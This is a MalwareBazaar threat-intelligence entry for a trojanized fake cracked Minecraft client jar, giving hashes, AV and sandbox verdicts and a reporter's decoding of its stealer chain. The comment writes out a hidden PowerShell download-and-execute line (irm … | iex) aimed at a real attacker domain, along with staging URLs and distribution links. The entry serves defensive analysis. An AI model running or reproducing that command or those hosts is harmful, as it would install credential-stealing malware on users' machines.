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MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 ab5df7dd3d1904dfb8606fdb55363182435f162da5fd2bffea309ebd2b4aef38. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry



Bombay


Vendor detections: 6


Intelligence 6 IOCs YARA File information Comments

SHA256 hash: ab5df7dd3d1904dfb8606fdb55363182435f162da5fd2bffea309ebd2b4aef38
SHA3-384 hash: 6f90277c5d311971734eeffb84734bef6c7d43bf033b7947dd6c3d6e4a45272690a996962fdec34687db4760a1b86a5d
SHA1 hash: 10fe8547e411a878072028721d065940038aa047
MD5 hash: 755a9634aaa000736a137dacd92820b2
humanhash: cat-romeo-papa-freddie
File name:CodeEngineCrackedByDexter.jar
Download: download sample
Signature Bombay
File size:4'422'501 bytes
First seen:2026-10-25 17:57:26 UTC
Last seen:Never
File type:Java file jar
MIME type:application/java-archive
ssdeep 98304:FU2TthpRqEFB1XFRoKH1Th18Tj7xDcNGtxSJOIIUXlDezxhwdn82iL:y2Tt5qEFB1X7xvij7xoNkkJnROxhwn1k
TLSH T1BF262331653F0273D57B9CBAF894A150BCB941CAE047705B20FD26D62B7A09B1F8C66B
TrID 57.8% (.JAR) Minecraft Fabric Mod (24020/2/4)
32.5% (.JAR) Java Archive (13500/1/2)
9.6% (.ZIP) ZIP compressed archive (4000/1)
Magika jar
Reporter GhostTypes
Tags:bombay jar lumma.cy


Avatar
GhostTypes
Trojanized fake cracked Minecraft client served from https://portalclient-drab.vercel.app/ (Vercel-hosted fake storefront, 11-client catalog all pinned to MC 1.21.11, Leakestan-style 'cracked by Dexter/Sub5Larp/648k.exe' branding, Telegram t.me/+V6Y7K3MitvVkZGVi). The jar carries an injected fabric client entrypoint paneldrop.PanelDrop: on Windows launch it spawns a hidden powershell running irm 'https://tools.lumma.cy/bsKLZ?7q=h' | iex (unique per-jar tracking token). Stage chain (fully decoded, nothing executed): tools.lumma.cy/bsKLZ serves a hidden-window HTA that writes 2-3 random-named VBS to %TEMP%; each runs base64 PowerShell with anti-analysis gates (blocks BITS/WebClient/IWR user-agents, zip magic-byte checks), downloads https://tools.lumma.cy/OIIBSK3NSfP8fAo65JBB.png (PNG-masked zip) and executes rename.exe (name re-rolled per fetch) - a native stealer core, VT 52/75 trojan.clipbanker/mikey, sha256 9ddb5cfa4a64771fbed9b74c1bba90c9e84d1d24d5cb56ed2e3472b17f59cb37. The zip leaks .spread_meta: campaign_id=618, slug=jar/2a53f9a1e1252701, niche=spotify. tools.lumma.cy is Bombay MaaS infrastructure (Lumma branding on the domain is a mask).

Intelligence


File Origin
# of uploads :
1
# of downloads :
75
Origin country :
FR FR
Vendor Threat Intelligence
No detections
Malware family:
n/a
ID:
1
File name:
jar
Verdict:
No threats detected
Analysis date:
2026-10-25 18:11:38 UTC
Tags:
arch-doc

Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Verdict:
Suspicious
Threat level:
  5/10
Confidence:
100%
Tags:
anti-debug expand lolbin macros-on-close macros-on-open obfuscated
Result
Malware family:
Verdict:
Malicious
Trusted hash?:
False
File:
639
Classes:
593
Nested archives:
1
Findings
Bombay signature: Bombay-associated Java loader: a method constructs and starts PowerShell to download and execute a script from tools.lumma.cy. The next-stage malware is not included in this identification.
PowerShell download and execution: The method constructs a PowerShell process with a remote download piped to Invoke-Expression and calls ProcessBuilder.start. The downloaded payload is not analyzed.
Bundled native library: The archive contains code that runs outside the JVM sandbox.
External process execution: ProcessBuilder can execute operating-system commands.
PowerShell execution: The file references PowerShell execution.
Native library loading: The class invokes a JVM API that loads platform-native code.
Result
Threat name:
SilentNet
Detection:
malicious
Classification:
troj
Score:
56 / 100
Signature
Multi AV Scanner detection for submitted file
Yara detected SilentNet
Behaviour
Behavior Graph:
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1993556 Sample: CodeEngineCrackedByDexter.jar Startdate: 28/10/2026 Architecture: WINDOWS Score: 56 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected SilentNet 2->14 6 cmd.exe 1 2->6         started        process3 process4 8 java.exe 3 6->8         started        10 conhost.exe 6->10         started       
Threat name:
Binary.Trojan.Generic
Status:
Suspicious
First seen:
2026-10-25 17:58:36 UTC
File Type:
Binary (Archive)
Extracted files:
639
AV detection:
4 of 38 (10.53%)
Threat level:
  5/5
Result
Malware family:
n/a
Score:
  3/10
Tags:
n/a
Please note that we are no longer able to provide a coverage score for Virus Total.

File information


The table below shows additional information about this malware sample such as delivery method and external references.

Web download

Bombay

Java file jar ab5df7dd3d1904dfb8606fdb55363182435f162da5fd2bffea309ebd2b4aef38

(this sample)

  
Delivery method
Distributed via web download

Comments